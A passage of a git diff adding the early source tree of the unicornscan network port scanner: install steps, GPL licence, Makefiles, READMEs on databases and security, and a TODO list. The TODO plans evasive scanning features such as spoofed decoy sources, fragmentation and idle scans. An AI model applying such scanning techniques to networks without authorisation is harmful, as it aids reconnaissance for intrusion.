of the data collected. + +1.3.2 + +Downloading Unicornscan + +unicornscan.org is the official source for downloading unicornscan source +code and binaries for unicornscan. Source code is distributed in Gzip +compressed tar files, and binaries are available for Linux (.tgz format). +Find all of this at http://www.unicornscan.org/download.html. + +1.4 Customized UNIX Compilation and installation from source code + +Source installation is intended to be a painless process. The build system +is designed to auto-detect as much as possible. Here are the steps +required for a default install: + +1. Download the latest version of Unicornscan from +http://www.unicornscan.org/ +$ wget http://www.unicornscan.org/releases/unicornscan-latest.tar.bz2 + +2. Decompress the downloaded tarball with a command such as: +$ tar jxvf unicornscan-latest.tar.bz2 + +3. Change into the newly created directory: +$ cd unicornscan-VERSION + +4. Configure the build system: +$ ./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var \ + --enable-bundled-ltdl --with-pgsql + +Run ./configure --help for more information about the options shown (or +read below). *Note*: The --with-pgsql option requires that you have the +PostgreSql installed, and assumes you have a functional installation +in place. If you need assistance installing, Postgres, see the section +on installing prerequisite software. + +5. Build Unicornscan: +$ make + +Note that GNU Make is required. On BSD-derived UNIX systems, this is often +installed as gmake. So if make returns a bunch of errors such as +”Makefile, line 1: Need an operator”, try running gmake instead. + +6. As a privledged user, install Unicornscan, support files, docs, etc.: +# make install + +Congratulations! Unicornscan is now installed as /usr/bin/unicornscan! Run +it with the -h flag for a quick help screen. Also see the +docs/Unicornscan-Getting_Started.pdf file for examples on how to use +Unicornscan. + +7. To uninstall: +# make uninstall + +1.5 Compilation Problems +If you run into trouble getting it compiled, feel free to jump onto IRC +(efnet) on channel #unicornscan. Optionally you can also send an email to +the OSACE mailing list, or try to install a precompilied binary package. + +1.6 Getting the Front-End Working +To get the Front-End up and running, you will also need to install: +* PostgreSQL +* Apache +* mod_php diff --git a/INSTALL.www-front-end b/INSTALL.www-front-end new file mode 100644 index 0000000..f3413c4 --- /dev/null +++ b/INSTALL.www-front-end @@ -0,0 +1 @@ +youll need to also run (in addition to src/output_modules/database/sql/pgsql_schema.sql) www-front-end/lib/session.sql and review config.php diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..5586944 --- /dev/null +++ b/LICENSE @@ -0,0 +1,343 @@ +unicornscan and associated utilities are GPL software. Please contact +unicornscan@dyadsecurity.com with questions about licensing. + + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc. + 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Library General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Library General +Public License instead of this License. diff --git a/Makefile.in b/Makefile.in new file mode 100644 index 0000000..a5d24eb --- /dev/null +++ b/Makefile.in @@ -0,0 +1,44 @@ +# @configure_input@ +include ./Makefile.inc + +SUBDIRS=libs etc selinux ext_src src docs + +all: + @for g in $(SUBDIRS); do \ + cd $$g && @USE_MAKE@ all || exit 1 && cd ..; \ + done + +install: all + @for g in $(SUBDIRS); do \ + cd $$g && @USE_MAKE@ install || exit 1 && cd ..; \ + done + +uninstall: + @for g in $(SUBDIRS); do \ + cd $$g && @USE_MAKE@ uninstall || exit 1 && cd ..; \ + done + +slack: + ./scripts/mkslackpkg + +samhain: + ./scripts/mksamhainpkg + +clean: + @for g in $(SUBDIRS); do \ + cd $$g && @USE_MAKE@ clean || exit 1 && cd ..; \ + done + rm -rf packages/* src/*build + +distclean: clean + @for g in $(SUBDIRS); do \ + cd $$g && @USE_MAKE@ distclean || exit 1 && cd ..; \ + done + rm -fr Makefile.inc src/compile.h src/config.h src/packageinfo.h autom4te.cache config.log config.status stage packages + find . \( -name "cscope.out" -o -name "cppcomplete.tags" -o -name "Makefile" \) -exec rm {} \; -print + +dist: distclean + ./scripts/tarup.sh + +libtool: $(LIBTOOL_DEPS) + $(SHELL) $(BUILD_DIR)/config.status --recheck diff --git a/Makefile.inc.in b/Makefile.inc.in new file mode 100644 index 0000000..e55062a --- /dev/null +++ b/Makefile.inc.in @@ -0,0 +1,50 @@ +# @configure_input@ + +BUILD_DIR=@abs_top_srcdir@ + +prefix=@prefix@ +exec_prefix=@exec_prefix@ +bindir=@bindir@ +libexecdir=@libexecdir@ +localstatedir=@localstatedir@ +libdir=@libdir@ +sysconfdir=@sysconfdir@ +datadir=@datadir@ +docdir=@datadir@/doc +mandir=@mandir@ + +@SET_MAKE@ + +MODDIR=@libdir@/@targetname@/modules +DESTDIR ?= @DESTDIR@ +TARGETNAME=@targetname@ + +COPTS=@U_COPTS@ +CDEFS=@U_CDEFS@ $(DEFS) -DLIBDIR=\"@libdir@\" -DSYSCONFDIR=\"@sysconfdir@\" -DLIBEXECDIR=\"@libexecdir@\" -DLOCALSTATEDIR=\"@localstatedir@\" -DPROGNAME=\"@PACKAGE_NAME@\" +CINCS=@U_CINCS@ -I$(BUILD_DIR)/src -I$(BUILD_DIR)/libs/fake/include -I$(BUILD_DIR)/ext_src +LDFLAGS=@U_LDFLAGS@ @U_LIBS@ -luext @LIBS@ -L$(BUILD_DIR)/libs/fake/lib -L$(BUILD_DIR)/ext_src + +CC=@CC@ +CFLAGS=$(COPTS) $(CDEFS) $(CINCS) $(CDEPS) +SHELL=@SHELL@ + +#LIBTOOL_DEPS=@LIBTOOL_DEPS@ +LIBTOOL=$(SHELL) $(BUILD_DIR)/libtool --quiet + +USE_MAKE=@USE_MAKE@ +AR=ar +ARFLAGS=cru +AWK=@AWK@ +LN=@LN_S@ +RANLIB=@RANLIB@ +EGREP=@EGREP@ +CHCON=@CHCON@ +BISON=bison -d +FLEX=flex -s -B +INSTALL=@INSTALL@ +INSTALL_PROGRAM=@INSTALL_PROGRAM@ + +MODCLFLAGS=-module -export-dynamic -rpath $(MODDIR) -avoid-version + +%.lo: %.c + $(LIBTOOL) --mode=compile $(CC) $(CFLAGS) -c $< diff --git a/README b/README new file mode 100644 index 0000000..bb3cfbb --- /dev/null +++ b/README @@ -0,0 +1,28 @@ +THIS CODE BASE is not intented to be secure + +honestly, though, lets expand on this a bit, seeing as how that can +be a confusing statement. +the following things are true about this codebase: + 1) this is not a product. this is a pre-1.0 version of a GPL tool. + 2) there is no formal security review of this code at this time. + 3) if you have concerns about this code mis-behaving then you should + a) use selinux and work with the policy, however you should note that + 1) if the listener is compromised, the attacker has a raw socket to read from. this may or maynot + be a problem, depending on how you run it. so some thought should be put into _where_ you are running + this code. if you really use this tool perhaps you should read though the policy. the chroot setuid + protection in the non-selinux code doesnt really give you enough protection imo. + b) review the code, this release is for developers and interested people to _play_ with. If you find + anything you dont like we would love to hear from you. + 4) the rate of development right now and the state of it is _not_ stable, think of this being a CVS + checkout of code. If it breaks im not going to cry. Ill try and do a decent job right now, but i think + you should fully understand where the state of this project is before you use it. + +BEFORE YOU TYPE MAKE, +1) run ./configure --help and read it +2) run ./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var --enable-bundled-ltdl for example +3) type make +4) type make install + +have fun, be good, and please talk to us. +#unicornscan on efnet. +https://lists.sourceforge.net/lists/listinfo/osace-users diff --git a/README.cant_load_modules b/README.cant_load_modules new file mode 100644 index 0000000..ecb370c --- /dev/null +++ b/README.cant_load_modules @@ -0,0 +1 @@ +make uninstall and reconfigure with --enable-bundled-ltdl and make install diff --git a/README.darwin b/README.darwin new file mode 100644 index 0000000..7e5debc --- /dev/null +++ b/README.darwin @@ -0,0 +1,15 @@ +run configure like: + ./configure --enable-bundled-ltdl (your other options here) + +you need to specify the interface to use for your scan if you have issues. + +mystery crash (when unisend finishes, doesnt cause scan to be useless, but annoying and nonsensical): +(gdb) bt +#0 0x9004310c in kill () +#1 0x00016240 in bluescreen (signo=0, si=0x0, not_used=0xa00025b0) at panic.c:104 +#2 +#3 0x000037a8 in send_packet () at send_packet.c:571 +#4 0x00002cc4 in send_packet () at send_packet.c:329 +#5 0x38352c36 in ?? () <- stack must be trashed? +(gdb) x/i 0x38352c36 +0x38352c36: Cannot access memory at address 0x38352c36 diff --git a/README.database b/README.database new file mode 100644 index 0000000..393296e --- /dev/null +++ b/README.database @@ -0,0 +1,31 @@ + +The normal configuration of the username/password/host/dbname information is in the "modules.conf" file +(normally inside $PREFIX/share/unicornscan/modules.conf) there is no way currently to specify database +parameters from the command line. + +see src/output_modules/database: +mysql_schema.sql pgsql_schema.sql for the basic schemas, for example to install the basic postgres schema do: + +# begin semi-example +$ createdb -U scan_user dbname +$ psql -U scan_user dbname < src/output_modules/database/pgsql_schema.sql + +then to activate PostgreSQL run your normal command, but with -epgsqldb +$ unicornscan -epgsqldb -Iv -r 150 -d3 -R3 192.168.1.2/32:q + +for this example you can see the following output confirming you have a working database configuration +`PostgreSQL: Connected to host localhost, database dbname, as user scan_user, with protocol version 3' + +the information will be available after the scan has finished (well most of it anyhow) +the main tables are `scan' and `scan_bucket' + +$ psql -U scan -h localhost +... +dbname=> select count(scan_id) from scan where e_time != 0; + count +------- + 7 +(1 row) + +template.sql +the files for the basic schema are mysql_schema and pgsql_schema diff --git a/README.geoip b/README.geoip new file mode 100644 index 0000000..e7eca34 --- /dev/null +++ b/README.geoip @@ -0,0 +1,2 @@ +http://www.maxmind.com/download/geoip/api/c/ +throw the databases into the /usr/local/etc/unicornscan/ directory, or whatever it is.. diff --git a/README.osx b/README.osx new file mode 100644 index 0000000..7e5debc --- /dev/null +++ b/README.osx @@ -0,0 +1,15 @@ +run configure like: + ./configure --enable-bundled-ltdl (your other options here) + +you need to specify the interface to use for your scan if you have issues. + +mystery crash (when unisend finishes, doesnt cause scan to be useless, but annoying and nonsensical): +(gdb) bt +#0 0x9004310c in kill () +#1 0x00016240 in bluescreen (signo=0, si=0x0, not_used=0xa00025b0) at panic.c:104 +#2 +#3 0x000037a8 in send_packet () at send_packet.c:571 +#4 0x00002cc4 in send_packet () at send_packet.c:329 +#5 0x38352c36 in ?? () <- stack must be trashed? +(gdb) x/i 0x38352c36 +0x38352c36: Cannot access memory at address 0x38352c36 diff --git a/README.security b/README.security new file mode 100644 index 0000000..97d7b61 --- /dev/null +++ b/README.security @@ -0,0 +1,46 @@ +some random thoughts about security regarding usage of this software + +(http://niap.nist.gov/pp/draft_pps/pp_draft_idsscanner_mr_v0.9.html) +was the protection profile used for some context to the following. + +the first point to bring up is that the safe thing to do is (during a scan) +not to try and process data further than required, so that would mean: + a) the report modules should not be enabled, for example the osdetect code should not be + available, that processing should happen at the analyzing node. + +the output data safety is largely related to the method (output module) +used to record scan data, so if postgresql was used, the TOE would obviously +need to include it. + +using selinux policy (not the provided policy) greatly helps addressing some +of the issues faced. + +the /proc/ entries, and ptrace functionality should be highly restricted or +not available. + +the recv_packet tcphash function cannot protect against a device being scanned +from forging replies (correctly) from other hosts, or causing a DoS condition +in the master process, the function may be changed and kept secret however, its not +likely this will be a simple problem to solve (however with udp and icmp, the +problem is much worse, obviously) + +the unisend program should not read the configuration file, however it may be +required for it to load shared library modules, the configuration can be sent +over ipc. the unilisten process must never be allowed to read configuration data +or load shared libraries due to the fact that is processing data from the wire, +in fact it would be best of the pcap logging functionality was moved out of the +unilisten process and placed somewhere else. + +a good method for ipc channels over tcp sockets would be to used labeled ipsec. + +a creation of another process to monitor the scanning process and logging information +about the invoking user and outcome of the scan (error conditions) should be created. + +the DAC install should create a group that can read or possibly modify the configuration +that the "nobody" user can not reach (by default this does not happen) + +regarding the containing operating system: +key generation must not be done during a phase where the prng has not collected enough +entropy (ie no ssh or ipsec key generation should be allowed during first bootup) + +device interaction (/dev/ files) should be highly restricted. diff --git a/THANKS b/THANKS new file mode 100644 index 0000000..7609144 --- /dev/null +++ b/THANKS @@ -0,0 +1,3 @@ +smthmlk for doing the rpm stuff we dont know anything about, and just generally being a cool guy. +Jon Passki for some of the FreeBSD port work, and feedback +the guys in #NetBSD (toddpw, asmodai) on EfNET for testing and helpfull hints on getting it to work with netbsd initially. diff --git a/TODO b/TODO new file mode 100644 index 0000000..5f1b9a5 --- /dev/null +++ b/TODO @@ -0,0 +1,45 @@ +before release: + +Unicornscan Wish list: +1. check boxes on search results + a) ability to "select all" (ie check all boxes) after narrowing down the search + i) ability to delete selected results + ii) ability to select port:ip combinations for use in findings database +2. better search capabilities +3. ability to add notes to individual items +4. ability to manually add/modify banner information +5. case insensitive banner searching + +tester flag for non brain dead terms +icmp scanning (no problem, itll be easy)? +pause and resume (pcap file stuff) (no changing things like sending ip and expecting it to be accurate anymore... obviously) +replay from pcap file fixes +ttl scans (flag for starting ttl to make it faster) +log how much done, with estimate of time left +close modules in places where they are not needed (audit this, fd leaks) +multiple source spoofing (decoys too) +scan module for tcp seq and ipid predictability +frag scanning, with multiple ways to frag (there are some larger changes that need to happen first however...) +compile and work on the following systems: + b) OS's: FreeBSD / NetBSD / Linux / Darwin / solaris + d) cpus: ppc / sparc / pentium + +later on: +port knocking stuff +shroud detection (tcp options, delay, DF, etc...) + +auto rate scanning (-a for finding out what seems to be a good rate to use, then display it and quit) +"it would be a REALLY killer feature to have a -l "logistics and controls" option" +"that would start slower and and work it's way up until the replies got really bad" +"like. have it have a user specified "control" site" +"and when you could no longer reach the control site, you knew you needed to back it off." +"then have it report the max pps rate to specify to not kill yourself" +"and have that be a conservative number + +idle scanning is totally gone, make work +ip scanning? (payloads...) +display on different host +scriptable scanning support +# this stuff is LOW prio... +fix strength of tcp syn cookies... +protocol parsing to correctly label tftp for example diff --git a/UDP_PAYLOADS_NEEDED b/UDP_PAYLOADS_NEEDED new file mode 100644 index 0000000..55b5688 --- /dev/null +++ b/UDP_PAYLOADS_NEEDED @@ -0,0 +1,5 @@ +Please send payloads you have to unicornscan@rapturesecurity.org +we are currently looking for good oracle, and TACAC probe packets +Payloads can be in just about any format, with pcap or C style escapes +of udp data (with normal dest port and src port restrictions) being +preferred. diff --git a/aclocal.m4 b/aclocal.m4 new file mode 100644 index 0000000..bca969d --- /dev/null +++ b/aclocal.m4 @@ -0,0 +1,7397 @@ +dnl @synopsis AX_C___ATTRIBUTE__ +dnl +dnl Provides a test for the compiler support of __attribute__ +dnl extensions. defines HAVE___ATTRIBUTE__ if it is found. +dnl +dnl Originating from the 'pork' package by Ryan McCabe +dnl +dnl @category C +dnl @author Christian Haggstrom +dnl @version 2005-01-21 +dnl @license GPLWithACException + +AC_DEFUN([AX_C___ATTRIBUTE__], [ + AC_MSG_CHECKING(for __attribute__) + AC_CACHE_VAL(ac_cv___attribute__, [ + AC_TRY_COMPILE( + [#include ], + [static void foo(void) __attribute__ ((unused)); + static void + foo(void) { + exit(1); + }], + ac_cv___attribute__=yes, + ac_cv___attribute__=no + )]) + if test "$ac_cv___attribute__" = "yes"; then + AC_DEFINE(HAVE___ATTRIBUTE__, 1, [define if your compiler has __attribute__]) + fi + AC_MSG_RESULT($ac_cv___attribute__) +]) +# libtool.m4 - Configure libtool for the host system. -*-Autoconf-*- +## Copyright 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004 +## Free Software Foundation, Inc. +## Originally by Gordon Matzigkeit , 1996 +## +## This program is free software; you can redistribute it and/or modify +## it under the terms of the GNU General Public License as published by +## the Free Software Foundation; either version 2 of the License, or +## (at your option) any later version. +## +## This program is distributed in the hope that it will be useful, but +## WITHOUT ANY WARRANTY; without even the implied warranty of +## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +## General Public License for more details. +## +## You should have received a copy of the GNU General Public License +## along with this program; if not, write to the Free Software +## Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +## +## As a special exception to the GNU General Public License, if you +## distribute this file as part of a program that contains a +## configuration script generated by Autoconf, you may include it under +## the same distribution terms that you use for the rest of that program. + +# serial 47 AC_PROG_LIBTOOL + + +# AC_PROVIDE_IFELSE(MACRO-NAME, IF-PROVIDED, IF-NOT-PROVIDED) +# ----------------------------------------------------------- +# If this macro is not defined by Autoconf, define it here. +m4_ifdef([AC_PROVIDE_IFELSE], + [], + [m4_define([AC_PROVIDE_IFELSE], + [m4_ifdef([AC_PROVIDE_$1], + [$2], [$3])])]) + + +# AC_PROG_LIBTOOL +# --------------- +AC_DEFUN([AC_PROG_LIBTOOL], +[AC_REQUIRE([_AC_PROG_LIBTOOL])dnl +dnl If AC_PROG_CXX has already been expanded, run AC_LIBTOOL_CXX +dnl immediately, otherwise, hook it in at the end of AC_PROG_CXX. + AC_PROVIDE_IFELSE([AC_PROG_CXX], + [AC_LIBTOOL_CXX], + [define([AC_PROG_CXX], defn([AC_PROG_CXX])[AC_LIBTOOL_CXX + ])]) +dnl And a similar setup for Fortran 77 support + AC_PROVIDE_IFELSE([AC_PROG_F77], + [AC_LIBTOOL_F77], + [define([AC_PROG_F77], defn([AC_PROG_F77])[AC_LIBTOOL_F77 +])]) + +dnl Quote A][M_PROG_GCJ so that aclocal doesn't bring it in needlessly. +dnl If either AC_PROG_GCJ or A][M_PROG_GCJ have already been expanded, run +dnl AC_LIBTOOL_GCJ immediately, otherwise, hook it in at the end of both. + AC_PROVIDE_IFELSE([AC_PROG_GCJ], + [AC_LIBTOOL_GCJ], + [AC_PROVIDE_IFELSE([A][M_PROG_GCJ], + [AC_LIBTOOL_GCJ], + [AC_PROVIDE_IFELSE([LT_AC_PROG_GCJ], + [AC_LIBTOOL_GCJ], + [ifdef([AC_PROG_GCJ], + [define([AC_PROG_GCJ], defn([AC_PROG_GCJ])[AC_LIBTOOL_GCJ])]) + ifdef([A][M_PROG_GCJ], + [define([A][M_PROG_GCJ], defn([A][M_PROG_GCJ])[AC_LIBTOOL_GCJ])]) + ifdef([LT_AC_PROG_GCJ], + [define([LT_AC_PROG_GCJ], + defn([LT_AC_PROG_GCJ])[AC_LIBTOOL_GCJ])])])]) +])])# AC_PROG_LIBTOOL + + +# _AC_PROG_LIBTOOL +# ---------------- +AC_DEFUN([_AC_PROG_LIBTOOL], +[AC_REQUIRE([AC_LIBTOOL_SETUP])dnl +AC_BEFORE([$0],[AC_LIBTOOL_CXX])dnl +AC_BEFORE([$0],[AC_LIBTOOL_F77])dnl +AC_BEFORE([$0],[AC_LIBTOOL_GCJ])dnl + +# This can be used to rebuild libtool when needed +LIBTOOL_DEPS="$ac_aux_dir/ltmain.sh" + +# Always use our own libtool. +LIBTOOL='$(SHELL) $(top_builddir)/libtool' +AC_SUBST(LIBTOOL)dnl + +# Prevent multiple expansion +define([AC_PROG_LIBTOOL], []) +])# _AC_PROG_LIBTOOL + + +# AC_LIBTOOL_SETUP +# ---------------- +AC_DEFUN([AC_LIBTOOL_SETUP], +[AC_PREREQ(2.50)dnl +AC_REQUIRE([AC_ENABLE_SHARED])dnl +AC_REQUIRE([AC_ENABLE_STATIC])dnl +AC_REQUIRE([AC_ENABLE_FAST_INSTALL])dnl 